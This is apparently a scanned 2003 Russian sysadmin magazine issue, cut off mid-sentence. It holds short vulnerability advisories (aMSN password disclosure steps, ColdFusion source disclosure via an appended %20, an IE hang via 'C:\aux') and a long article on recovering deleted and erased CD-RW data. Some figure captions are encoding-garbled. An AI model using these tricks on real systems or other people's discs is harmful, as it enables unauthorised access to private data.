№8(9) август 2003 подписной индекс 81655 журнал для cистемных администраторов, вебмастеров и программистов
Восстановление данных с лазерных дисков Новые средства ОС FreeBSD 5 Эффективная почтовая система на базе Exim NETFILTER Пингвин с одного пинка NetBSD: установка и настройка Переполнение буфера в Windows NT/2000/XP
оглавление АДМИНИСТРИРОВАНИЕ
СЕТИ
Восстановление данных с лазерных дисков
NETFILTER
Крис Касперски kk@sendmail.ru
4
Денис Колисниченко dhsilabs@mail.ru
70
12 БЕЗОПАСНОСТЬ
Пингвин с одного пинка Сергей Яремчук grinder@ua.fm
64
Протокол V.90
Мониторинг Windows-серверов с помощью Nagios Часть2 Андрей Бешков tigrisha@sysadmins.ru
Владимир Мешков ubob@mail.ru
24
Переполнение буфера в Windows NT/2000/XP Станислав Гошко bigafroelephaut@mail.ru
74
OpenBSD. Первые шаги Денис Назаров pheonix@sysattack.com
28
Регулярные выражения и поиск текста в Perl
NetBSD: установка и настройка Андрей Бешков tigrisha@sysadmins.ru
34
Эффективная почтовая система на базе Exim Денис Мысенко duster@duster.ru
Владислав Гошко synthetic@inbox.ru
78
ОБРАЗОВАНИЕ 40 Могущество кодов Рида-Соломона, или Информация, воскресшая из пепла Крис Касперски kk@sendmail.ru
Новые средства OC FreeBSD 5 Всеволод Стахов CEBKA@smtp.ru
ПРОГРАММИРОВАНИЕ
88
46 BUGTRAQ
2, 62, 69
HARDWARE Плохое электропитание, или «Грабли» с UPS Павел Закляков amdk7@mail.ru
52
WWW.SAMAG.RU №8(9), август 2003
1
bugtraq Раскрытие опознавательной информации в “aMSN”
Межсайтовый скриптинг в Microsoft Outlook Web Access
Уязвимость раскрытия опознавательной информации обнаружена в «aMSN» – в Linux версии MSN Messenger. Локальный пользователь может определить Hotmail-пароль целевого пользователя. Локальный пользователь может выполнить серию действий, чтобы раскрыть Hotmail-пароль целевого пользователя:
Несколько уязвимостей обнаружено в Microsoft Outlook Web Access (OWA). Удаленный пользователь может обойти настройки фильтрования, чтобы выполнить произвольный код сценария и получить OWA пароль целевого пользователя. Удаленный пользователь может послать специально сформированное HTML email сообщение к целевому пользователю, чтобы получить доменное имя целевого пользователя и его пароль. Способов устранения обнаруженной уязвимости не существует в настоящее время.
- Open AMSN Messenger and sign in - Go to Tools>Options>Preferences>Applications - For Browser type in a location other then where the browser is, and the same for File Manager - Click Save - On the main part of AMSN, click on the text to go to the hotmail inbox
Уязвимость обнаружена в aMSN 0.8 Способов устранения обнаруженной уязвимости не существует в настоящее время.
Просмотр исходного кода ColdFusion-страниц в ColdFusion MX Уязвимость раскрытия информации обнаружена в Macromedia’s ColdFusion MX и Macromedia JRun, когда он запущен на веб-сервере Apache на Windows-системах. Удаленный пользователь может просматривать исходный код ColdFusion-страниц. Удаленный пользователь может добавить кодированный символ пробела (%20) к концу URL, чтобы просматривать исходный код «.cfm»-, «.cfc»- или «.cfml»-страниц. Уязвимость работает только в Apache 1.3.x и 2.x на Windows-системах. Уязвимость обнаружена в ColdFusion MX (Standard Edition), MX for J2EE (JRun), Macromedia JRun 4.0 Для устранения уязвимости установите обновленную версию программы, которую можно скачать отсюда: http://download.macromedia.com/pub/security/mpsb0304.zip
Раскрытие чувствительной информации в Microsoft Windows 2000 USBH_IoctlGetNodeConnectionDriverKeyName Уязвимость обнаружена в Microsoft Windows 2000 SP3. Локальный пользователь может раскрыть чувствительные данные из памяти ядра. При определенных обстоятельствах вызов USBH_IoctlGetNodeConnectionDriverKeyName() может возвратить неинициализированные данные с пространства памяти ядра. Это может привести к раскрытию чувствительных данных. Уязвимость обнаружена в Microsoft Windows 2000 SP3 Для устранения уязвимости скачайте SP4.
Удаленный доступ в ColdFusion MX Server Несколько уязвимостей обнаружены в ColdFusion MX Server. Удаленный пользователь может получить доступ к серверу в конфигурации по умолчанию. В конфигурации по умолчанию Remote Development Service (RDS) не требует пароля для авторизации. На системах, в которых не установлен пароль администратора, удаленный пользователь может получить доступ к серверу. Также по умолчанию RDS Java servlet запущен в контексте учетной записи ColdFusion, с привилегиями LocalSystem. Удаленный авторизованный пользователь может переконфигурировать свойства веб-сайта, чтобы получить возможность добавлять любые файлы на сервер. Также сообщается, что когда установлен RDS-пароль, то пароль передается по сети в открытом виде. Удаленный пользователь, способный контролировать сетевой трафик, может получить этот пароль. Также сообщается, что не проверяется правильность ASP SESSION ID. Способов устранения обнаруженной уязвимости не существует в настоящее время.
Отказ в обслуживании при обращении к DOS устройствам в Microsoft Internet Explorer Отказ в обслуживании обнаружен в Microsoft Internet Explorer. Удаленный пользователь может завесить браузер. Сообщается, что когда браузер попытается загрузить URL «C:\aux», то он зависнет и перестанет отвечать на дальнейшие запросы. Уязвимость обнаружена в Microsoft Internet Explorer 6.0 Составил Александр Антипов
2
администрирование
ВОССТАНОВЛЕНИЕ ДАННЫХ С ЛАЗЕРНЫХ ДИСКОВ …Такой объем информации можно уничтожить в один миг разве что динамитом, потому что существуют дублирующие системы, и у скорости обработки есть предел. Джон Варли «Нажмите ENTER»
Записываемые и перезаписываемые лазерные диски представляют собой идеальное средство для резервирования информации умеренных объемов (а всякий администратор обязательно должен заботиться о периодическом резервировании вверенной ему информации). К сожалению, никакая работа без ошибок не обходится (что поделаешь, человеку свойственно ошибаться – errare humanum est, как говорили древние), и ошибочное удаление файлов CD-R/CD-RW дисков, равно как и непредумышленная очистка последних хотя бы однажды да случается (на самом деле, как показывает практика, с этим явлением приходится сталкиваться далеко не однажды, особенно если пользователи самостоятельно резервируют ту или иную информацию на CD-R/CD-RW). Насколько известно автору, утилит, предназначенных для восстановления информации с лазерных дисков, до сих пор не разработано (во всяком случае, они не были широко представлены на рынке), поэтому восстановлением запоротых дисков в подавляющем большинстве случаев приходится заниматься самостоятельно. О том, как именно это сделать и рассказывает настоящая статья.
КРИС КАСПЕРСКИ 4
администрирование Восстановление удаленных файлов с CD-R/CD-RW Заявляя о своей поддержке многосессионных дисков, операционные системы Windows 9x и Windows NT (вплоть до W2K включительно) тактично умалчивают о том, что поддерживают их лишь частично. Каждая сессия – это вполне самостоятельный том (в терминологии Windows – «логический диск»), имеющий свою собственную файловую систему и свои собственные файлы. Благодаря сквозной нумерации секторов лазерного диска, файловая система одной сессии может ссылаться на файлы, физически расположенные в любой другой сессии. Для того чтобы с многосессионным диском было можно работать как с единым томом, файловая система последней сессии должна включать в себя содержимое файловых систем всех предыдущих сессий. Если этого не сделать, то при просмотре диска штатными средствами Windows оглавления остальных сессий окажутся потерянными, поскольку Windows монтирует лишь последнюю сессию диска, а все прочие – игнорирует. Программы «прожига» CD-R/RW по умолчанию добавляют содержимое файловой системы предыдущей сессии к последующей, однако это еще не означает, что последняя сессия диска всегда содержит в себе все то, что имеют предыдущие. Рассмотрим, например, как осуществляется удаление файлов с CD-R/RW. Нет, это не опечатка! Содержимое дисков CD-R, несмотря на физическую невозможность их перезаписи, в принципе все же уничтожаемо. Для имитации удаления файла программы записи на CD просто не включают ссылку на уничтожаемый файл в файловую систему последней сессии1. И хотя «удаленный» файл все еще присутствует на диске, «отъедая» часть дискового пространства, при просмотре содержимого диска из-под Windows он уже не отображается в каталоге. «Какой же тогда смысл несет в себе удаление файлов с CD-R, если свободная емкость диска при этом не увеличивается, а даже уменьшается 2?!» – удивленно спросит иной читатель. На самом же деле смысл этой операции (если его вообще можно назвать «смыслом») заключен исключительно в сокрытии «удаляемых» файлов от простых пользователей. Раз удаленные файлы не видны при просмотре содержимого диска штатными средствами, то неквалифицированному пользователю они формально недоступны. Подчеркиваю: для штатных средств операционной системы Windows недоступны, но те же «Маки» позволяют монтировать любую сессию диска на отдельный том, благодаря чему при просмотре многосессионных дисков под «Маками» все удаленные файлы сразу же «всплывают». Аналогичным образом обстоят дела и при удалении информации с CD-RW дисков. Несмотря на теоретическую возможность физического уничтожения их содержимого, подавляющее большинство записывающего софта поддерживает лишь функцию очистки всего диска целиком, но не в состоянии выборочно удалять отдельные файлы. Так что все, сказанное выше о CD-R дисках, в равной мере применимо и к CD-RW.
№8(9), август 2003
Поэтому, записывая на диск информацию, предназначенную для передачи постороннему лицу, ни в коем случае не используйте для этой цели болванки, содержащие конфиденциальные данные. «Удаление» ранее записанных на болванку данных на самом деле не уничтожает их! Просматривая содержимое лазерного диска, полученного от приятеля (купленного на радио-рынке, вытащенного из мусорной корзины), имеет смысл попытаться заглянуть внутрь предыдущих сессий на предмет поиска скрытой информации. Как показывает практика, очень часто там обнаруживается много интересного. Так же вам может потребоваться восстановить ошибочно удаленный файл со своего собственного диска, а то и воскресить всю «пришибленную» сессию целиком (некоторые программы записи на CD позволяют пользователю выбирать: следует ли при создании новой сессии добавлять в нее файловую систему предыдущей или же в новую сессию следует включать только новые файлы. Неверный выбор настроек приводит к утрате содержимого всех предыдущих сессий, но, к счастью, эта утрата обратима). Для восстановления удаленных файлов можно воспользоваться любой программой, умеющей извлекать содержимое выбранной сессии диска и записывать его в ISO-образ. Пусть для определенности это будет Roxio Easy CD Creator. Позволив приводу «заглотить» восстанавливаемый диск, в меню «CD» выбираем пункт «CD Information» и после этого на экране отображается диалоговое окно следующего вида:
Ðèñóíîê 1. Àíàëèç ñîäåðæèìîãî äèñêà íà ïðåäìåò âûÿâëåíèÿ óäàëåííûõ ôàéëîâ.
Как мы и видим, перед нами представлен перечень всех сессий, имеющихся на диске с указанием номеров, стартовых адресов (в секторах) и длин (в мегабайтах). Давайте попробуем определить, имеются ли на диске скрытые файлы или нет. Используя команду «dir», выведем директорию диска и запомним суммарный размер всех файлов, которые только «видит» операционная система:
5
администрирование Ëèñòèíã 1. Âûâîä ñîäåðæèìîãî äèñêà íà ýêðàí, íà ñàìîì äåëå êîâàðíàÿ Windows âûâîäèò ñîäåðæèìîå îäíîé ëèøü ïîñëåäíåé ñåññèè äèñêà. ×òî ñîäåðæàò âñå îñòàëüíûå – íåèçâåñòíî. Âî âñÿêîì ñëó÷àå, ïîêà íåèçâåñòíî. KPNC$G:\>dir Òîì â óñòðîéñòâå G èìååò ìåòêó 030710_1433 Ñåðèéíûé íîìåð òîìà: 4DD0-BB09 Ñîäåðæèìîå ïàïêè G:\ 28.05.2003 05:57 6 283 745 phck31.drf.zip 03.06.2003 05:39 8 085 410 phck31.Âò 03.06.2003.zip 04.06.2003 16:45 7 898 149 phck31.Ñð 04.06.2003.zip 05.06.2003 06:06 6 718 926 phck31.×ò 05.06.2003.zip 03.07.2003 15:51 10 612 230 phck31.×ò 03.07.2003.zip 05.07.2003 06:37 8 946 860 phck31.Ñá 05.07.2003.zip 08.07.2003 12:51 9 009 642 phck31.Âò 08.07.2003.zip 09.07.2003 06:21 9 138 651 phck31.Ñð 09.07.2003.zip 10.07.2003 14:32 9 388 543 phck31.×ò 10.07.2003.zip 9 ôàéëîâ 76 082 156 áàéò 1 ïàïîê 0 áàéò ñâîáîäíî
Ага, совокупный объем 9 файлов, доступных для операционной системы, составляет всего 72 Мб (760 82 156 байт), а совокупный объем всех сессий диска – 47,66 + 6,50 + 8,21 + 8,04 + 6,91 + 10,62 + 9,04 + 9,10 + 9,22 + 9,46 = 124,76 Мб, что на 52 Мб длиннее! (Примечание: поле «Write Sector», содержащее длину записанной области диска и равное в данном случае 255 Мб, для наших целей абсолютно бесполезно, поскольку в записанную область диска входят не только полезные данные, но и служебные области каждой сессии, в результате чего полная емкость диска всегда меньше его эффективной емкости, даже если на нем нет никаких удаленных файлов). В какой именно сессии содержатся удаленные файлы, сказать невозможно – они могут присутствовать в любой из них (или даже в нескольких сессиях сразу). Поэтому в общем случае все имеющиеся сессии должны просматриваться последовательно. Однако иногда удается найти более короткие пути. Применительно к рассматриваемому нами примеру: давайте попробуем оттолкнуться от того факта, что количество имеющихся на диске сессий на единицу больше числа выведенных командой dir файлов, причем размеры девяти последних секций практически совпадают с размерами соответствующих им файлов. Первая же сессия диска, имеющая размер 48 Мб, не соответствует ни одному из видимых файлов. Что же она тогда содержит? А вот сейчас смонтируем эту сессию на отдельный дисковый том и посмотрим! К сожалению, штатные средства Windows не позволяют осуществлять такое монтирование непосредственно и потому приходится идти обходным путем, записывая выбранную сессию в ISO-образ с последующим копированием последнего на чистый CD-R/CD-RW диск. Естественно, CD-RW диски более практичны для таких экспериментов, поскольку их можно использовать многократно. Еще удобнее Alcohol 120%, динамически монтирующий ISO-образы на виртуальный CD-ROM, и тем самым экономящий кучу времени (но, к сожалению, он не предоставляет возможности выбора сохраняемых сессий и всегда помещает в создаваемый им образ содержимое всего диска целиком, поэтому одного лишь «Алкоголика» для наших экспериментов будет более чем достаточно). Возвращаясь к нашим баранам (простите, к Roxio Easy CD Creator), дважды щелкнем мышем по строке «Session 1» или, предварительно выделив ее курсором, нажмем на кнопку «Read Track». На экране немедленно появится диалоговое окно следующего вида:
6
Ðèñóíîê 2. Äèàëîãîâîå îêíî èçâëå÷åíèÿ ñåññèè ñ íàñòðîéêàìè ïî óìîë÷àíèþ.
Поле «Имя файла», как и следует из его названия, задает имя образа (по умолчанию «Track»), а «Тип файла» – формат. Каким-либо образом «колдовать» над ним бесполезно, поскольку других форматов бесплатная версия программы все равно не поддерживает и возможность их выбора (точнее, видимость возможности выбора) предоставляется пользователю исключительно из соображений этикета и/или вежливости. А вот настройки, обведенные рамкой «Read Data Track Settings», намного более интересны. Окно редактирования «Start Block» содержит LBA-адрес первого сектора выбранной сессии, а «Length in Block» – длину сессии в секторах и по умолчанию сюда подставляется информация, подчерпнутая из TOC. При условии, что TOC не был умышленно искажен с целью защиты диска от копирования, этим данным можно верить. Однако как мы увидим в дальнейшем, искажение TOC не редкость и с ним довольно часто приходится сталкиваться на практике (впрочем, возможности Easy CD Creator по восстановлению треков с искаженными адресами даже более чем ограничены, т.к. он слишком щепетильно проверяет «правильность» начального и конечного адресов, и если TOC говорит, что начальный адрес больше конечного, то Easy CD Creator будет свято верить TOC, причем настолько свято, что все попытки убедить его в обратном заранее обречены на провал, так что для работы с защитами лучше подыскать другую программу, поумнее). Поле «Block Size» содержит размер пользовательской части сектора в байтах. Свобода выбора здесь представлена чисто символически, все равно изменить это значение вы не сможете (да и нужно ли его изменять? ведь «сырых» секторов Easy CD Creator все равно не поддерживает, а размер пользовательской части сектора однозначно определяется типом самого сектора и его изменение бессмысленно). Короче говоря, оставив все установки в состоянии, предлагаемым по умолчанию, нажимаем кнопочку «сохранить» и некоторое время ждем, пока выбранная нами
администрирование сессия копируется в ISO-файл. Когда же процесс «трансплантации» будет закончен, сформированный образ можно «закатать» на новую болванку тем же Easy CD Creator (в меню «File» необходимо выбрать пункт «Record CD from CD image», указав в типе файлов «ISO Image File»), либо запустить «Алкоголика» и смонтировать образ на виртуальный диск. Так или иначе, доступ к удаленным файлам будет получен, и вы сможете делать с ними все что хотите. (Внимание! При просмотре содержимого «сграбленной» сессии всегда учитывайте, что, во-первых, файлы, физически принадлежащие другим сессиям, из данной сессии окажутся недоступными, в то время как ссылки на них здесь могут изобиловать. При обращении к реально несуществующему файлу будет выдаваться либо мусор, либо сообщение об ошибке. Как альтернативный вариант – операционная система может просто зависнуть. Если это произошло, просто нажмите кнопку выброса диска. Windows тут же выйдет из ступора и радостно завопит, что «устройство не готово». Во-вторых, в силу сквозной адресации секторов, каждая «сграбленная» сессия должна записываться на то же самое место диска, на котором она была ранее, в противном случае все ссылки на стартовые адреса файлов внутри этой сессии окажутся недействительными. Требуемый результат обычно достигается изменением стартового адреса первого трека. О том, как это сделать, рассказывается в следующей части статьи, посвященной восстановлению информации с очищенных CD-RW дисков.)
Восстановление очищенных CD-RW Существует две принципиально различных методики очистки CD-RW: быстрая (quick) и полная (full). При быстрой очистке диска с него удаляется лишь область TOC, в результате чего диск выглядит «пустым», хотя его основное содержимое остается совершенно нетронутым. Напротив, при полной очистке луч лазера «выжигает» всю поверхность диска целиком – от первого пита до последнего. Естественно, на это требуется время и полная очистка диска может растянуться на добрый десяток минут, в то время как быстрая спокойно укладывается в одну-две минуты. Восстановление полностью очищенных дисков возможно только на специальном оборудовании, способном улавливать даже незначительные изменения отражательной способности рефлекторного слоя. Такое оборудование подавляющему большинству пользователей, разумеется, недоступно. Однако диски, подвергнувшиеся быстрой очистке, могут быть восстановленны и на штатном рекордере (правда, не на всех моделях). Мы не будем касаться этической стороны проблемы и для простоты предположим, что вы хотите реанимировать свой собственный непредумышленно очищенный CD-RW диск, или условимся считать всех читателей сотрудниками КГБ, которым поручили восстановить информацию с диска, добытого бесстрашными советскими разведчиками у американских шпионов. Отметим лишь то, что восстановление конфиденциальной информации с чужих CD-RW может быть классифицировано
№8(9), август 2003
как получение несанкционированного доступа к последней со всеми вытекающими отсюда последствиями (на долгие годы – друзья в полоску и небо в клетку). Для опытов по восстановлению информации с очищенных CD-RW дисков нам потребуется следующее: пишущий привод, не слишком дотошно следящий за корректностью содержимого TOC, поддерживающий режим RAW DAO и умеющий читать содержимое pregap первого трека. Не все модели писцов подходят для этой цели, поэтому будьте готовы к тому, что вам придется перепробовать большое количество различного оборудования (из двух моих рекордеров для восстановления очищенных дисков подходит лишь NEC, а PHILIPS на это, увы, не способен); продвинутый записывающий soft, позволяющий манипулировать служебными областями диска по своему усмотрению. Вы можете использовать Clone CD, CDRWin, Alcohol 120% или любую другую аналогичную утилиту по своему выбору. Однако весь последующий материал рассчитан исключительно на Clone CD и при переходе на остальные программы вы можете столкнуться с теми или иными проблемами. Если вы не уверены, что сможете справиться с ними самостоятельно – используйте Clone CD, ну а затем, по мере приобретения профессиональных навыков и должного опыта, вы без труда восстановите диск любой такой программой; средство для работы с диском на секторном уровне – утилита, позволяющая прочесть любой заданный сектор (конечно, при условии, что он вообще читается приводом) и не пытающаяся пропустить те сектора, в которых по ее самоуверенному мнению ничего интересного все равно нет. Копировщики защищенных дисков, перечисленные выше, для этой цели не подходят, т.к. отказываются читать «бесполезные» с их точки зрения сектора. Может быть, другие копировщики ведут себя и иначе – не знаю, не проверял. Вместо этого необходимую для работы утилиту я написал самостоятельно (ее можно скачать с сайта журнала по адресу: http://www.samag.ru/source/k1.zip). Прежде чем начинать экспериментировать, давайте разберемся, почему после очистки диск перестает читаться. Вопрос не так глуп, каким он кажется, ведь информация, необходимая для позиционирования головки и поиска конкретных секторов при быстрой очистке диска остается нетронутой! Управляющие данные «размазаны» вдоль всей спиральной дорожки и для чтения диска на секторном уровне TOC, в общем-то, и не нужен. Да, отсутствие TOC значительно усложняет анализ геометрии диска и для определения количества треков/сессий диска в общем случае привод должен прочитать весь этот диск целиком. Но при восстановлении информации фактор времени играет второстепенную роль и им можно полностью пренебречь. Тем не менее при попытке чтения любого из секторов очищенного диска привод с неизменным упорством возвращает ошибку. Почему? Очень просто, это «защита» от чтения заведомо некорректной информации. Еще ни
7
администрирование один из всех знакомых мне приводов не мог читать сектора за пределами Lead-Out области (собственно, на программном уровне содержимое Lead-in/Lead-out областей недоступно тоже). Тем не менее эта невозможность отнюдь не концептуального уровня и удаление из микропрограммы привода «лишних» проверок позволят прочитать такой диск на ура. Нет, не подумайте! Призывать вас к дизассемблированию прошивок я не собираюсь. Дело это сложное, трудоемкое, да к тому же небезопасное. Неверно хакнутая прошивка может ко всем чертям угробить привод без малейшей надежды на его восстановление. Нет, уж лучше мы пойдем другим путем! Идея восстановления информации, предлагаемая автором, в общих чертах сводится к записи на диск фиктивного TOC, адреса Lead-in и Lead-out областей которого указывают на первый и последний сектор диска соответственно, а стартовый адрес первого трека аккурат совпадает с концом pre-gap области, которая по стандарту должна занимать не менее 150 секторов (или 2 секунд в пересчете на абсолютные адреса). После этой нехитрой операции привод будет читать оригинальное содержимое очищенного диска как миленький, конечно, при том условии, что мы ухитримся настроить пишущий софт так, чтобы он, записав фиктивный TOC, никоим образом не пытался интерпретировать подсунутые ему указатели на Leadin/ LeadOut области как указание «выжечь» всю поверхность диска целиком. Проверка показывает, что Clone CD вообще не записывает такой TOC на диск, ругаясь на несоответствие размеров диска и образа файла. Alcohol 120% выполняет нашу просьбу без лишних препирательств, но совсем не так, как мы хотели! Забив весь восстанавливаемый диск непонятно откуда взятым мусором, он авторитетно сообщает, что в процессе записи произошли ошибки и, возможно, вам следует убедиться в исправности оборудования. Хорошо, зайдем с другой стороны. Запишем на диск один реальный трек, занимающий минимально возможное количество секторов (по стандарту – 300, но некоторые приводы вполне удовлетворяются и меньшими значениями), но расширим его pre-gap с двух секунд на… весь диск! В результате мы потеряем лишь 300 последних секторов, но получим доступ ко всему остальному содержимому. Учитывая, что на диске этих секторов насчитывается немногим более 300 тысяч, нетрудно подсчитать, что процент успешно восстановленной информации составляет по меньшей мере 99,999% емкости всего диска, да и то лишь при том условии, что исходный диск был забит целиком, что в живой природе практически никогда не наблюдается. Если же это вас не удовлетворяет – разрабатывайте свой собственный софт, корректно записывающий фиктивный TOC, но ничего не делающий сверх этого (Lead-in область все равно записывает сам привод, ну а без Lead-out при аккуратном обращении с диском в принципе можно и обойтись, главное – пытаться прочитать сектора, находящиеся за пределами диска, иначе поведение привода станет трудно предсказуемым). Мне же это делать лень – с восстановлением полностью забитых дисков я еще не сталкивался. Во всяком случае пока…
8
Процедура восстановления состоит из трех частей: подготовки исходного образа трека с нормальным pre-gap; увеличения pre-gap до размеров целого диска и записи исправленного образа на восстанавливаемый диск. Первые два этапа достаточно выполнить всего один раз, т.к. полученный образ (далее мы будем называть его «лечебным») может использоваться для всех дисков (читай: для всех дисков той же самой емкости, по понятным соображениям вы не сможете корректно восстановить 23-минутрый диск с помощью образа, предназначенного для 80минутного диска и, соответственно, наоборот). Для начала возьмем чистый CD-RW диск («чистый» не в смысле «ни разу не записанный», а очищенный быстрой или полной очисткой, так же для этих целей подойдет и CD-R). Используя любую утилиту для штатного «прожига», запишем на него один крошечный файл, «весящий» не более 500 Кб (более тяжелый файл просто не уместится в запланированные 300 секторов). Выполнять финализацию диска не нужно. Запустим Clone CD (Alcohol 120%) и снимем образ диска. Спустя минуту-другую на винчестере образуются два файла: file name.img и file name.ccd (если вы попросили Clone CD сохранять так же и субканальную информацию, образуется третий файл – file name.sub, однако субканальная информация в данном случае будет только мешать, потому опцию «чтение субканалов из треков с данными» лучше всего отключить или же просто удалить file name.sub с диска; также нам не нужен «Cue-Sheet», который Clone CD предлагает создавать для совместимости с другими программами, конкретно – с CDRWin). Открыв file name.ccd-файл любым текстовым редактором, найдем в нем следующие строки (ключевые слова для поиска «Point=0xa2» и «Point=0x01»): Ëèñòèíã 2. Îðèãèíàëüíûé ñòàðòîâûé àäðåñ Lead-Out (ñëåâà) è ñòàðòîâûé àäðåñ ïåðâîãî òðåêà äèñêà (ñïðàâà). [Entry 2] Session=1 Point=0xa2 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=0 PSec=29 PFrame=33 PLBA=2058
[Entry 3] Session=1 Point=0x01 ADR=0x01 Control=0x04 TrackNo=0 AMin=0 ASec=0 AFrame=0 ALBA=-150 Zero=0 PMin=0 PSec=1 PFrame=0 PLBA=0
Изменим поля PMin:PSec:PFrame, принадлежащие Point=0xa2 так, чтобы они указывали на самый конец диска (0xa2 – это как раз Lead-Out и есть). Измененный LeadOut может выглядеть, например, так: 74:30:00. Адрес Lead-Out следует выбирать с тем расчетом, чтобы между ним и внешней кромкой диска оставался по меньшей мере 30-секундный зазор. Еще лучше, если ширина LeadOut составит полторы минуты или около того. Однако в этом случае будут неизбежно теряться последние треки восстанавливаемого диска (если, конечно, вам действительно требуется их восстановить).
администрирование К содержимому полей PMin:PSec:PFrame, принадлежащих Point=0x01 (стартовый адрес первого трека), необходимо добавить ту же самую величину, которую вы добавили к соответствующим полям Lead-Out. Отредактированный вариант может выглядеть, например, так: 74:01:42. (74:30:00 /* новый адрес Lead-out */ – 00:29:33 /* старый Lead-Out */ + 00:01:00 /* старый стартовый адрес первого трека */ = 74:01:42 /* новый стартовый адрес */). Короче говоря, новая версия ccd-файла должна выглядеть так: Ëèñòèíã 3. Êëþ÷åâîé ôðàãìåíò «ðåàíèìàòîðà» 75-ìèíóòíûõ CD-RW äèñêîâ. [Entry 2] Session=1 … PMin=74 PSec=30 PFrame=00
[Entry 3] Session=1 … PMin=74 PSec=01 PFrame=42
Вообще-то, для приличия следовало бы скорректировать и поля PLBA (LBA-адрес связан с абсолютным адресом следующим соотношением: LBA = ((Min∗60) + Sec)∗75 + Frame, однако текущие версии работают исключительно с абсолютными адресами и LBA-адреса игнорируют. Теперь все что находится между концом Lead-in области и началом первого сектора и будет называться pre-gap. При «прожиге» диска область pre-gap остается нетронутой и позже может быть прочитана на секторном уровне (а это как раз то, что нам нужно!). Сказать по чести, чрезмерное
№8(9), август 2003
увеличение pre-gap первого трека – не самая лучшая идея, т.к. не все приводы способны читать такой «жирный» pregap. С точки зрения совместимости было бы лучше увеличивать pre-gap второго трека, однако при этом первый трек придется располагать в самом начале диска и его тело неизбежно затрет восстанавливаемые сектора. И хотя это не такая уж большая проблема (в первых секторах диска все равно ничего ценного нет), к такой мере без особой необходимости все же лучше не прибегать. На крайний случай действуйте так: запишите на диск две сессии и вместо стартового адреса Point номер 0x01 меняйте стартовый адрес Point номер 0x02 (он будет находиться в разделе session=2). Теперь наскоро очистим наш подопытный диск и до отвала забьем его какими-нибудь файлами (предпочтительнее всего использовать текстовики, т.к. в этом случае будет сразу видно: извлекается ли с восстановленного диска мусор или полезная информация). Записав файлы на диск, тут же выполним его быструю очистку. Убедившись, что диск действительно очищен и его содержимое уже недоступно, запустим Clone CD и запишем только что созданный нами «лечебный» образ. Запись должна проводиться в режиме DAO, иначе ничего хорошего у вас не получится (поэтому прежде чем восстанавливать сколь-нибудь ценный диск на еще неизвестном вам приводе, попробуйте потренироваться на «кошках» – диске, не содержащем ничего интересного).
9
администрирование Вот наконец мы держим в руках свежевосстановленный диск. Но действительно ли он восстановлен? А вот сейчас и убедимся! Вставляем «воскресшего из пепла» в привод NEC и с замиранием сердца пробуем прочитать один из наугад взятых секторов из середины диска (начальные сектора обычно содержат нули, потом файловую систему, и их очень легко принять за бессмысленный мусор). О чудо! Оригинальное содержимое очищенного диска читается как ни в чем не бывало! Правда, при попытке прочесть оглавление диска средствами операционной системы привод может впасть в глухую задумчивость, граничащую с полным зависанием (ведь стартовый адрес первого трека расположен не в начале диска, а совсем в другом месте), но это все ерунда! Главное, что на секторном уровне диск все-таки доступен, пускай и не на всех приводах. Так, в частности, ASUS вообще отказывается читать такой диск, возвращая ошибку, а PHILIPS читает один мусор (к счастью, этот мусор можно восстановить, – достаточно просто на битовом уровне выполнить EFM-перекодировку с более «правильной» позиции. Поскольку возможных позиций всего 14, перебор обещает не затягиваться на длительное время. Тем не менее лучше не извращаться, а просто приобрести более качественный привод). Остается лишь привести диск в состояние, пригодное для переваривания операционной системой (что толку в работе с диском на низком уровне?). Последовательно читая все сектора диска один за одним, мы будем собирать их в один img-файл, для определенности именуемый recover.img. Сектора, которые не удалось прочитать даже с нескольких попыток, мы будем просто пропускать. Теперь скопируем «лечебный» ccd-файл в recover.ccd и вернем стартовый адрес первого трека на прежнее место. Запишем сформированный образ диска на новую болванку и… (если все сделано правильно) любой привод должен читать ее правильно. Сеанс демонстрационного восстановления окончен, и мы, малость освоившись с этой технологией, можем приниматься за вещи куда как более серьезные. Например, откроем собственную компании по восстановлению очищенных дисков. Шутка! Хотя… почему бы и нет? Хорошо, а как быть, если очищенный диск был многосессионным? Ведь описанные выше приемы рассчитаны на работу лишь с одной сессией! На самом деле можно восстановить и многосессионный диск. Это лишь чуть-чуть труднее. Но, чтобы это сделать, мы должны предварительно познакомиться с остальными полями TOC. А это уже тема следующей статьи! Постойте, а если после очистки диска на него чтото писалось – возможно ли тогда его восстановление или нет? Разумеется, непосредственно затертые места утеряны безвозвратно, но остальную часть информации по-прежнему можно спасти. Если диск до очистки был многосессионным, то нам даже не придется корпеть над восстановлением файловой системы, т.к. файловая система каждой последующей сессии обычно дублирует предыдущую («обычно» это в смысле «за исключением удаленных файлов») и последняя сессия диска оказывается достаточно далеко от его начала, а
10
потому и риск ее затирания минимален (если, конечно, схватиться вовремя, а не тогда, когда весь диск перезаписан до отказа). Восстановление одно-сессионных дисков с затертой файловой системой – намного более трудная, но все-таки разрешимая задача. Во-первых, этих файловых систем на типовом диске целых две: ISO-9660 и Joliet, правда, в силу их близкого географического положения при затирании диска они обычно гибнут обе. Во-вторых, указанные файловые системы не поддерживают фрагментации и всякий файл, записанный на лазерный диск, представляет собой единый информационный блок. Все что нужно для его восстановления – определить точку входа и длину. Точка входа в файл всегда совпадает с началом сектора, а подавляющее большинство типов файлов позволяют однозначно идентифицировать свой заголовок по уникальной сигнатуре (в частности, для zip-файлов характерна следующая последовательность: 50 4B 03 04). Конец файла, правда, определяется уже не так однозначно и единственная зацепка – структура самого восстанавливаемого файла. Впрочем, большинство приложений довольно лояльно относится к «мусору» в хвосте файла и потому точностью определения его длины с погрешностью в один сектор на практике оказывается вполне достаточной. Поскольку файлы располагаются на диске вплотную, без «зазоров», конечный сектор всякого файла надежно вычисляется путем вычитания единицы из стартового сектора следующего за ним файла. Вообще же говоря, техника восстановления лазерных дисков намного проще и незатейливее искусства врачевания их прямых коллег – дискет и жестких дисков. Правда, поговорку «семь раз отмерь – один раз отрежь» еще никто не отменял, и одна из пренеприятнейших особенностей работы с CD-RW как раз и состоит в том, что вы не можете гарантированно управлять процессом происходящей записи. Дискеты и жесткие диски в этом смысле полностью прозрачны: что вы пишите, то вы и получаете. Перезаписываемые же носители, напротив, представляют собой «черный ящик», и вы никогда не можете быть уверенными в том, что данный конкретный привод будет правильно интерпретировать отдаваемые ему команды (увы, восстановление CD-RW дисков никак не вписывается в рамки стандарта, а все нестандартные махинации могут интерпретироваться приводом неоднозначно). Единственное, что остается посоветовать – не пускайте все на самотек, а бесконечно экспериментируйте, экспериментируйте и еще раз 